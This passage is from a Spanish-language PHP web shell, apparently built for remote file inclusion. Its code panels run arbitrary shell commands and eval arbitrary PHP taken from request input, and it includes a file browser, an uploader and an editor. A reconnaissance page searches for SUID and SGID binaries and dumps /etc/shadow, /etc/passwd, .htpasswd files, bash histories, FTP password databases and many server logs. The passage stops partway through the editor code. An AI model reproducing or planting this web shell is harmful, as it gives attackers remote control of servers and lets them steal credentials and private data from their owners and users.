  437.         $functions[]=leerconfig('allow_url_include',' This option allows the use of URL-aware fopen wrappers with the following functions: include(), include_once(), require(), require_once().    Note: This setting requires allow_url_fopen to be on. ');
    438. 

  438.         $functions[]=leerconfig('default_socket_timeout',' Default timeout (in seconds) for socket based streams.    Note: This configuration option was introduced in PHP 4.3.0 ');
    439. 

  439.         
    440. 

  440.         /* Mostramos el titulo */
    441. 

  441.         echo '<div style="text-align:center;">
    442. 

  442.         <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
    443. 

  443.         </div>';
    444. 

  444.         
    445. 

  445.         /* Mostramos toda la información del array */
    446. 

  446.         foreach ($functions as $funcion){
    447. 

  447.             echo $funcion[0].' =&gt; '.$funcion[1].'<br>';
    448. 

  448.         }
    449. 

  449.     break;
    450. 

  450. 

  451.     /* PHPInfo */
    452. 

  452.     case 'phpinfo':
    453. 

  453.         /* Mostramos el titulo */
    454. 

  454.         echo '<div style="text-align:center;">
    455. 

  455.         <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
    456. 

  456.         </div>';
    457. 

  457.         
    458. 

  458.         /* All your phpinfo() are belog to us */
    459. 

  459.         ob_flush();
    460. 

  460.         ob_start();
    461. 

  461.             $disponible = phpinfo();
    462. 

  462.             $phpinfo = ob_get_clean();
    463. 

  463.             // Eliminamos un pedazo de html que agrega el phpinfo para que no quede duplicado
    464. 

  464.             $phpinfo = str_replace('</body></html>','',substr($phpinfo,strpos($phpinfo,'<body>')+6));
    465. 

  465.         ob_end_clean();
    466. 

  466.         echo ($disponible ? '<div id="phpinfo">'.$phpinfo : '<div class="n">phpinfo() no est&aacute; disponible.').'</div>';    
    467. 

  467.     break;
    468. 

  468. 

  469.     /* Mas informacion */
    470. 

  470.     case 'info':
    471. 

  471.         /* Mostramos el titulo */
    472. 

  472.         echo '<div style="text-align:center;">
    473. 

  473.         <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
    474. 

  474.         </div>';
    475. 

  475.         
    476. 

  476.         $ruta = getcwd() or '/';
    477. 

  477.         
    478. 

  478.         if((!ini_get('safe_mode')) or (strtolower(ini_get('safe_mode'))=='off')){
    479. 

  479.             $safemode = 'No';
    480. 

  480.         }else{
    481. 

  481.             $safemode = 'Si';
    482. 

  482.         } 
    483. 

  483.         
    484. 

  484.         echo 'Ubicaci&oacute;n: '.htmlentities(__FILE__, ENT_QUOTES, 'UTF-8').'<br>
    485. 

  485.         Libre: '.htmlentities(decodeSize(disk_free_space($ruta)).' / '.decodeSize(disk_total_space($ruta)), ENT_QUOTES, 'UTF-8').'<br>
    486. 

  486.         Safe_mode: '.$safemode.'<br>
    487. 

  487.         Funciones desactivadas: '.htmlentities(ini_get("disable_functions"), ENT_QUOTES, 'UTF-8').'<br>
    488. 

  488.         PHP: '.htmlentities(phpversion(), ENT_QUOTES, 'UTF-8').'<br>
    489. 

  489.         Zend: '.htmlentities(zend_version(), ENT_QUOTES, 'UTF-8').'<br>
    490. 

  490.         Extensiones cargadas: '.htmlentities(implode(", ",get_loaded_extensions()), ENT_QUOTES, 'UTF-8').'<br>
    491. 

  491.         <br>
    492. 

  492.         IP: '.htmlentities($_SERVER['SERVER_ADDR'], ENT_QUOTES, 'UTF-8').'<br>
    493. 

  493.         Puerto: '.htmlentities($_SERVER['SERVER_PORT'], ENT_QUOTES, 'UTF-8').'<br>
    494. 

  494.         Servidor: '.htmlentities($_SERVER['SERVER_NAME'], ENT_QUOTES, 'UTF-8').'<br>
    495. 

  495.         Software del servidor: '.htmlentities($_SERVER['SERVER_SOFTWARE'], ENT_QUOTES, 'UTF-8').'<br>
    496. 

  496.         Uname: '.htmlentities(php_uname(), ENT_QUOTES, 'UTF-8').'<br>
    497. 

  497.         <br>
    498. 

  498.         ';
    499. 

  499.         $usuarios = explode("\n",leerarchivo("/etc/passwd"));
    500. 

  500.         
    501. 

  501. /*Esta es la lista de cosas a mostrar
    502. 

  502. Si empieza con > es un titulo
    503. 

  503. Si empieza con < es un comando
    504. 

  504. Si no, es un archivo */
    505. 

  505. $comandos =
    506. 

  506. '><a href="'.$rfiurl.'w=shell&comando=find%20%2F%20-type%20f%20-perm%20-04000%20-ls ">Ver archivos con SUID</a>
    507. 

  507. ><a href="'.$rfiurl.'w=shell&comando=find%20%2F%20-type%20f%20-perm%20-02000%20-ls ">Ver archivos con SGID</a>
    508. 

  508. >Memoria
    509. 

  509. <free -m
    510. 

  510. >Discos / Particiones
    511. 

  511. <df -h
    512. 

  512. <mount
    513. 

  513. /etc/fstab
    514. 

  514. >Ejecutables
    515. 

  515. <whereis curl
    516. 

  516. <whereis lynx
    517. 

  517. <whereis links
    518. 

  518. <whereis apache
    519. 

  519. <whereis php
    520. 

  520. <whereis ruby
    521. 

  521. <whereis mysql
    522. 

  522. <whereis wget
    523. 

  523. <whereis perl
    524. 

  524. <whereis python
    525. 

  525. <whereis gcc
    526. 

  526. <whereis apt-get
    527. 

  527. <whereis aptitude
    528. 

  528. <whereis yum
    529. 

  529. <whereis pacman
    530. 

  530. >Version
    531. 

  531. <sysctl -a | egrep "ostype |osrelease |version |hostname |domainname "|grep kernel.
    532. 

  532. /proc/version
    533. 

  533. /etc/issue.net
    534. 

  534. /etc/issue
    535. 

  535. /etc/motd
    536. 

  536. /etc/lsb-release
    537. 

  537. >Conexiones
    538. 

  538. <netstat -pa
    539. 

  539. >Hardware
    540. 

  540. /proc/cpuinfo
    541. 

  541. <dmidecode
    542. 

  542. >Logs
    543. 

  543. /root/.bash_history
    544. 

  544. '.archivosdeusuarios("/.bash_history").'
    545. 

  545. '.archivosdeusuarios("/public_html/.bash_history").'
    546. 

  546. /var/log/pure-ftpd/pure-ftpd.log
    547. 

  547. /logs/pure-ftpd.log
    548. 

  548. /var/log/pureftpd.log
    549. 

  549. /var/log/ftp-proxy/ftp-proxy.log
    550. 

  550. /var/log/ftp-proxy
    551. 

  551. /var/log/ftplog
    552. 

  552. /etc/logrotate.d/ftp
    553. 

  553. /etc/ftpchroot
    554. 

  554. /etc/ftphosts
    555. 

  555. /usr/lib/security/mkuser.default
    556. 

  556. /var/cpanel/accounting.log
    557. 

  557. /var/adm/SYSLOG
    558. 

  558. /var/adm/sulog
    559. 

  559. /var/adm/utmp
    560. 

  560. /var/adm/utmpx
    561. 

  561. /var/adm/wtmp
    562. 

  562. /var/adm/wtmpx
    563. 

  563. /var/adm/lastlog/username
    564. 

  564. /usr/spool/lp/log
    565. 

  565. /var/adm/lp/lpd-errs
    566. 

  566. /usr/lib/cron/log
    567. 

  567. /var/adm/loginlog
    568. 

  568. /var/adm/pacct
    569. 

  569. /var/adm/dtmp
    570. 

  570. /var/adm/acct/sum/loginlog
    571. 

  571. /var/adm/X0msgs
    572. 

  572. /var/adm/crash/vmcore
    573. 

  573. /var/adm/crash/unix
    574. 

  574. /var/adm/pacct
    575. 

  575. /var/adm/wtmp
    576. 

  576. /var/adm/dtmp
    577. 

  577. /var/adm/qacct
    578. 

  578. /var/adm/sulog
    579. 

  579. /var/adm/ras/errlog
    580. 

  580. /var/adm/ras/bootlog
    581. 

  581. /var/adm/cron/log
    582. 

  582. /etc/utmp
    583. 

  583. /etc/security/lastlog
    584. 

  584. /etc/security/failedlogin
    585. 

  585. /usr/spool/mqueue/syslog
    586. 

  586. /var/adm/messages
    587. 

  587. /var/adm/aculogs
    588. 

  588. /var/adm/aculog
    589. 

  589. /var/adm/sulog
    590. 

  590. /var/adm/vold.log
    591. 

  591. /var/adm/wtmp
    592. 

  592. /var/adm/wtmpx
    593. 

  593. /var/adm/utmp
    594. 

  594. /var/adm/utmpx
    595. 

  595. /var/adm/log/asppp.log
    596. 

  596. /var/log/syslog
    597. 

  597. /var/log/POPlog
    598. 

  598. /var/log/authlog
    599. 

  599. /var/adm/pacct
    600. 

  600. /var/lp/logs/lpsched
    601. 

  601. /var/lp/logs/lpNet
    602. 

  602. /var/lp/logs/requests
    603. 

  603. /var/cron/log
    604. 

  604. /var/saf/_log
    605. 

  605. /var/saf/port/log
    606. 

  606. /etc/httpd/logs/error.log
    607. 

  607. /etc/httpd/logs/error_log
    608. 

  608. /etc/httpd/logs/access.log
    609. 

  609. /etc/httpd/logs/access_log
    610. 

  610. /etc/wtmp
    611. 

  611. /etc/utmp
    612. 

  612. /opt/lampp/logs/error_log
    613. 

  613. /opt/lampp/logs/access_log
    614. 

  614. /var/log/lastlog
    615. 

  615. /var/log/telnetd
    616. 

  616. /var/run/utmp
    617. 

  617. /var/log/secure
    618. 

  618. /var/log/wtmp
    619. 

  619. /var/run/utmp
    620. 

  620. /var/log
    621. 

  621. /var/adm
    622. 

  622. /var/apache/log
    623. 

  623. /var/apache/logs
    624. 

  624. /var/apache/logs/access_log
    625. 

  625. /var/apache/logs/error_log
    626. 

  626. /var/log/acct
    627. 

  627. /var/log/apache/access.log
    628. 

  628. /var/log/apache/error.log
    629. 

  629. /var/log/apache-ssl/error.log
    630. 

  630. /var/log/apache-ssl/access.log
    631. 

  631. /var/log/auth.log
    632. 

  632. /var/log/xferlog
    633. 

  633. /var/log/message
    634. 

  634. /var/log/messages
    635. 

  635. /var/log/proftpd/xferlog.legacy
    636. 

  636. /var/log/proftpd.access_log
    637. 

  637. /var/log/proftpd.xferlog
    638. 

  638. /var/log/httpd/error_log
    639. 

  639. /var/log/httpd/access_log
    640. 

  640. /var/log/httpsd/ssl.access_log
    641. 

  641. /var/log/httpsd/ssl_log
    642. 

  642. /var/log/httpsd/ssl.access_log
    643. 

  643. /etc/mail/access
    644. 

  644. /var/log/qmail
    645. 

  645. /var/log/smtpd
    646. 

  646. /var/log/samba
    647. 

  647. /var/log/samba-log.%m
    648. 

  648. /var/lock/samba
    649. 

  649. /root/.Xauthority
    650. 

  650. /var/log/poplog
    651. 

  651. /var/log/news.all
    652. 

  652. /var/log/spooler
    653. 

  653. /var/log/news
    654. 

  654. /var/log/news/news
    655. 

  655. /var/log/news/news.all
    656. 

  656. /var/log/news/news.crit
    657. 

  657. /var/log/news/news.err
    658. 

  658. /var/log/news/news.notice
    659. 

  659. /var/log/news/suck.err
    660. 

  660. /var/log/news/suck.notice
    661. 

  661. /var/log/thttpd_log
    662. 

  662. /var/log/ncftpd/misclog.txt
    663. 

  663. /var/log/ncftpd.errs
    664. 

  664. /var/log/auth
    665. 

  665. /var/log/kern.log
    666. 

  666. /var/log/cron.log
    667. 

  667. /var/log/maillog
    668. 

  668. /var/log/qmail/
    669. 

  669. /var/log/httpd/
    670. 

  670. /var/log/lighttpd
    671. 

  671. /var/log/boot.log
    672. 

  672. /var/log/mysqld.log
    673. 

  673. /var/log/secure
    674. 

  674. /var/log/utmp
    675. 

  675. /var/log/wtmp
    676. 

  676. /var/log/yum.log
    677. 

  677. /var/spool/tmp
    678. 

  678. /var/spool/errors
    679. 

  679. /var/spool/logs
    680. 

  680. /var/spool/locks
    681. 

  681. /var/www/log/access_log
    682. 

  682. /var/www/log/error_log
    683. 

  683. /var/www/logs/access.log
    684. 

  684. /var/www/logs/error.log
    685. 

  685. /var/www/logs/error_log
    686. 

  686. /var/www/logs/access_log
    687. 

  687. /root/.ksh_history
    688. 

  688. /root/.bash_history
    689. 

  689. /usr/local/apache/log
    690. 

  690. /usr/local/apache/logs
    691. 

  691. /usr/local/apache/logs/access_log
    692. 

  692. /usr/local/apache/logs/error_log
    693. 

  693. /usr/local/apache/logs/access.log
    694. 

  694. /usr/local/apache/logs/error.log
    695. 

  695. /usr/local/etc/httpd/logs/access_log
    696. 

  696. /usr/local/etc/httpd/logs/error_log
    697. 

  697. /usr/local/www/logs/httpd_log
    698. 

  698. /opt/lampp/logs/access_log
    699. 

  699. /opt/lampp/logs/error_log
    700. 

  700. >Usuarios
    701. 

  701. <id
    702. 

  702. '.archivosdeusuarios('/.bashrc').'
    703. 

  703. '.archivosdeusuarios('/public_html/.bashrc').'
    704. 

  704. /root/.bashrc
    705. 

  705. /root/.bash_logut
    706. 

  706. /etc/security/group
    707. 

  707. /etc/security/passwd
    708. 

  708. /etc/security/user
    709. 

  709. /etc/security/environ
    710. 

  710. /etc/security/limits
    711. 

  711. /etc/passwd
    712. 

  712. /etc/shadow
    713. 

  713. /etc/group
    714. 

  714. ./.htasswd
    715. 

  715. ../.htpasswd
    716. 

  716. '.archivosdeusuarios('/public_html/.htpasswd').'
    717. 

  717. >Configuraci&oacute;n
    718. 

  718. /etc/apt/sources.list
    719. 

  719. /etc/hosts
    720. 

  720. ./.htaccess
    721. 

  721. ../.htaccess
    722. 

  722. ../../.htaccess
    723. 

  723. ../../../.htaccess
    724. 

  724. '.archivosdeusuarios('/public_html/.htaccess').'
    725. 

  725. /opt/lampp/etc/httpd.conf
    726. 

  726. /opt/lampp/etc/my.cnf
    727. 

  727. /opt/lampp/etc/php.ini
    728. 

  728. /etc/syslog.conf
    729. 

  729. /etc/named.conf
    730. 

  730. /etc/httpd/conf/httpd.conf
    731. 

  731. /etc/php.ini
    732. 

  732. /usr/lib/php.ini
    733. 

  733. /usr/local/lib/php.ini
    734. 

  734. '.archivosdeusuarios('/public_html/php.ini').'
    735. 

  735. /etc/httpd.conf
    736. 

  736. /etc/pure-ftpd.conf
    737. 

  737. /etc/pure-ftpd/pure-ftpd.pdb
    738. 

  738. /etc/pureftpd.pdb
    739. 

  739. /etc/pureftpd.passwd
    740. 

  740. /etc/pure-ftpd/pureftpd.pdb
    741. 

  741. psybnc.conf
    742. 

  742. >Otros
    743. 

  743. /etc/userdomains
    744. 

  744. <dmesg';
    745. 

  745.        
    746. 

  746.         $comandos = explode("\n",$comandos);        //armamos un array con todos los comandos, titulos y archivos
    747. 

  747.         foreach ($comandos as $comando){ 
    748. 

  748.             if (substr($comando,0,1)=='>'){     //si empieza con > es un titulo
    749. 

  749.                 echo '<br><h1>'.substr($comando,1).'</h1>';
    750. 

  750.             }elseif (substr($comando,0,1)=='<'){        //si empieza con < es un comando
    751. 

  751.                 $resultado = shell(substr($comando,1), false);
    752. 

  752.                 $lineas = substr_count($resultado,"\n");
    753. 

  753.                 if ($lineas>15){ $lineas = 15; }        //el maximo de lineas del textarea es 15
    754. 

  754.                 //mostramos el div y el textarea con el resultado
    755. 

  755.                 if ($resultado!=false){ echo '<div class="s">'.htmlentities(substr($comando,1), ENT_QUOTES, 'UTF-8').':</div><textarea style="width:100%;" rows="'.$lineas.'">'.htmlentities($resultado,ENT_QUOTES, 'UTF-8').'</textarea><br><br>'; } 
    756. 

  756.             }else{      //es un archivo, llamamos a la funcion que lo muestra en un textarea
    757. 

  757.                 mostrararchivo($comando);
    758. 

  758.             }
    759. 

  759.         }
    760. 

  760.         
    761. 

  761.     break;
    762. 

  762. 

  763.     /* Ejecutar comandos */
    764. 

  764.     case 'shell':
    765. 

  765.         /* Mostramos el titulo */
    766. 

  766.         echo '<div style="text-align:center;">
    767. 

  767.         <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
    768. 

  768.         </div>';
    769. 

  769.         
    770. 

  770.         $ruta = $_REQUEST['ruta'];
    771. 

  771.         if (!$ruta){
    772. 

  772.             $ruta = getcwd();
    773. 

  773.         }else{
    774. 

  774.             chdir($ruta);
    775. 

  775.         }
    776. 

  776.         
    777. 

  777.         if (isset($_REQUEST['comando'])){
    778. 

  778.             $cmd = $_REQUEST['comando'];
    779. 

  779.             $salida = shell($cmd);
    780. 

  780.             if (!$salida){ $salida[0]='Imposible de ejecutar'; $salida[1]='Modo: ninguno';}
    781. 

  781.             
    782. 

  782.             $salida[0]=htmlentities($salida[0], ENT_QUOTES, 'UTF-8'); //El resultado
    783. 

  783.             $salida[1]=htmlentities($salida[1], ENT_QUOTES, 'UTF-8'); //Como se ejecutó
    784. 

  784.             $lineas=substr_count($salida[0],"\n")+1;   //el largo del textarea
    785. 

  785.             if ($lineas>25) $lineas = 25;
    786. 

  786.             echo $salida[1].'<br><textarea style="width:100%;" rows="'.$lineas.'">'.$salida[0].'</textarea>';
    787. 

  787.         }
    788. 

  788.         /* Mostramos el formulario donde se ingresa el comando */
    789. 

  789.         echo '<form action="'.$rfiurl.'w=shell" method="post" style="width:100%;"><div style="width:100%;">
    790. 

  790.         Directorio:&nbsp;<input type="text" style="width:75%; align:left;" name="ruta" value="'.htmlentities($ruta,ENT_QUOTES, 'UTF-8').'"><br>
    791. 

  791.         Comando:&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" style="width:75%; align:left;" name="comando" value="'.htmlentities($cmd, ENT_QUOTES, 'UTF-8').'">
    792. 

  792.         <input type="submit" style="width:17%; float:right;" value="Ejecutar"></div>
    793. 

  793.         </form>';
    794. 

  794.     break;
    795. 

  795. 

  796.     /* Ejecutar php */
    797. 

  797.     case 'php':
    798. 

  798.         /* Mostramos el titulo */
    799. 

  799.         echo '<div style="text-align:center;">
    800. 

  800.         <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
    801. 

  801.         </div>';
    802. 

  802.         
    803. 

  803.         $ruta = $_REQUEST['ruta'];
    804. 

  804.         if (!$ruta){
    805. 

  805.             $ruta = getcwd();
    806. 

  806.         }else{
    807. 

  807.             chdir($ruta);
    808. 

  808.         }
    809. 

  809.         
    810. 

  810.         if (isset($_POST['codigo'])){
    811. 

  811.             $cmd = $_POST['codigo'];
    812. 

  812.             ob_flush();
    813. 

  813.             ob_start();
    814. 

  814.                 eval($cmd);
    815. 

  815.                 $salida = ob_get_clean();
    816. 

  816.             ob_end_clean();
    817. 

  817.             
    818. 

  818.             if ($_POST['textarea']){        ///va el textarea alrededor del resultado?
    819. 

  819.                 $textarea0='<textarea style="width:100%; height:200px; align:left;">';
    820. 

  820.                 $textarea1='</textarea>';
    821. 

  821.             }
    822. 

  822.             $salida = 'Resultado:<br>'.$textarea0.htmlentities($salida, ENT_QUOTES, 'UTF-8').$textarea1.'<br><br>';
    823. 

  823.         }
    824. 

  824.         /* Mostramos el formulario donde se ingresa el codigo */
    825. 

  825.         echo '<form action="'.$rfiurl.'w=php&ruta='.htmlentities($ruta,ENT_QUOTES,'UTF-8').'" method="post">
    826. 

  826.         '.$salida.'
    827. 

  827.         C&oacute;digo:<br><textarea style="width:100%; height:200px;" name="codigo">'.htmlentities($cmd, ENT_QUOTES, 'UTF-8').'</textarea><br><br>
    828. 

  828.         <div style="text-align:right;"><input type="checkbox" name="textarea" checked>Mostrar en textarea <input type="submit" style="width:17%;" value="Ejecutar"></div>
    829. 

  829.         </form>';
    830. 

  830.     break;
    831. 

  831.     
    832. 

  832.     /* Navegador de archivos */
    833. 

  833.     case "archivos":
    834. 

  834.         /* Mostramos el titulo */
    835. 

  835.         echo '<div style="text-align:center;">
    836. 

  836.         <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
    837. 

  837.         </div>';
    838. 

  838.         
    839. 

  839.         $ruta = $_REQUEST['ruta'];
    840. 

  840.         if (!$ruta){
    841. 

  841.             $ruta = getcwd();
    842. 

  842.         }
    843. 

  843.         
    844. 

  844.         //el espacio libre y total en el hd
    845. 

  845.         $espacio = '<div class="center" style="font-weight:bold;">'.decodeSize(disk_free_space($ruta)).' / '.decodeSize(disk_total_space($ruta)).'</div>';
    846. 

  846.         
    847. 

  847.         //mostramos el formulario para cambiar de directorio
    848. 

  848.         echo '
    849. 

  849.         <form action="'.$rfiurl.'w=archivos" method="POST">
    850. 

  850.             <input style="width:85%;float:left;" type="text" name="ruta" value="'.htmlentities($ruta,ENT_QUOTES,'UTF-8').'">
    851. 

  851.             <input type="submit" value="Ir" style="width:10%;float:right;">
    852. 

  852.         </form><br><br>'.$espacio.'<br>
    853. 

  853.         <table>';
    854. 

  854.         
    855. 

  855.         if(!chdir($ruta)){
    856. 

  856.             echo '<div class="n" style="font-size:150%;">Ruta inv&aacute;lida</div>';
    857. 

  857.         }else{
    858. 

  858.             $ruta = getcwd();
    859. 

  859.             
    860. 

  860.             //leemos los directorios
    861. 

  861.             $handledirectorios = opendir($ruta);
    862. 

  862.             rewinddir($handledirectorios);
    863. 

  863.             while (false !== ($archivos[] = readdir($handledirectorios))){} //WTF? me gustaria saber por que lo hago asi
    864. 

  864.             
    865. 

  865.             //lo ordenamos alfabeticamente
    866. 

  866.             sort($archivos,SORT_STRING);
    867. 

  867.             unset($archivos[0]);
    868. 

  868.             
    869. 

  869.             //las tres primeras filas
    870. 

  870.             echo '<tr><td class="ac"><img src="'.$rfiurl.'w=img&imagen=archivonuevo" class="ai" alt="Archivo nuevo"></td><form action="'.$rfiurl.'w=subir" method="post" enctype="multipart/form-data">
    871. 

  871.             <td style="text-align:left;font-size:0px;" colspan="4"><input name="ruta" type="hidden" value="'.htmlentities($ruta,ENT_QUOTES,'UTF-8').'/">
    872. 

  872.             <input name="ruta2" type="file" style="width:100%;"></td> <td><input type="submit" value="Crear archivo" style="width:100%"></td></form></tr>
    873. 

  873.             <tr><td class="ac"><img src="'.$rfiurl.'w=img&imagen=archivonuevo" class="ai" alt="Archivo nuevo"></td><form action="'.$rfiurl.'w=editar" method="POST">
    874. 

  874.             <td style="text-align:left;font-size:0px;" colspan="4"><input name="ruta" type="hidden" value="'.htmlentities($ruta,ENT_QUOTES,'UTF-8').'/"><input name="ruta2" style="width:100%;" value="archivo.txt"></td>
    875. 

  875.             <td><input type="submit" value="Crear archivo" style="width:100%"></td></form></tr>
    876. 

  876.             <tr><td class="ac"><img src="'.$rfiurl.'w=img&imagen=carpetanueva" class="ai" alt="Carpeta nuevo"></td><form action="'.$rfiurl.'w=nuevacarpeta" method="POST">
    877. 

  877.             <td style="text-align:left;font-size:0px;" colspan="4"><input name="ruta" type="hidden" value="'.htmlentities($ruta,ENT_QUOTES,'UTF-8').'/"><input name="ruta2" style="width:100%;" value="carpeta"></td>
    878. 

  878.             <td><input type="submit" value="Crear carpeta" style="width:100%"></td></form></tr>';
    879. 

  879.             
    880. 

  880.             //mostramos el link a todos los archivos
    881. 

  881.             foreach($archivos as $archivo){
    882. 

  882.                 echo mostrarlink($ruta,$archivo);
    883. 

  883.             }
    884. 

  884.             closedir($handledirectorios);
    885. 

  885.         }
    886. 

  886.         echo '</table>';
    887. 

  887.         
    888. 

  888.     break;
    889. 

  889. 

  890.     /* Editor de archivos */
    891. 

  891.     case 'editar':
    892. 

  892.         /* Mostramos el titulo */
    893. 

  893.         echo '<div style="text-align:center;">
    894. 

  894.         <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
    895. 

  895.         </div>';
    896. 

  896.         
    897. 

  897.         $ruta=$_REQUEST['ruta'].$_REQUEST['ruta2'];
    898. 

  898.         //mostramos el form 
    899. 

  899.         echo '
    900. 

  900.             <form action="'.$rfiurl.'w=editar" method="POST" name="editar" default="">
    901. 

  901.                 <input style="width:80%;float:left;" type="text" name="ruta" value="'.htmlentities($ruta,ENT_QUOTES,'UTF-8').'">
    902. 

  902.                 <input type="hidden" name="accion" value="enter">
    903. 

  903.                 <input type="button" value="Guardar" style="width:7%;float:right;" onclick="editar.accion.value=/Guardar/.source;editar.submit()">
    904. 

  904.                 <input type="button" value="Abrir" style="width:7%;float:right;" onclick="editar.accion.value=/Abrir/.source;editar.submit()">
    905. 

  905.                 <br />
    906. 

  906.             ';
    907. 

  907.         
    908. 

  908.         switch($_POST['accion']) {
    909. 

  909.             
    910. 

  910.             //escribimos el archivo
    911. 

  911.             case 'Guardar':
    912. 

  912.                 if(($ruta!=='') and isset($ruta)){
    913. 

  913.                     $contenido = $_POST['contenido'];
    914. 

  914.                     $resultado = escribirarchivo($ruta,$contenido);
    915. 

  915.                     if ($resultado===FALSE){
    916. 

  916.              
    917.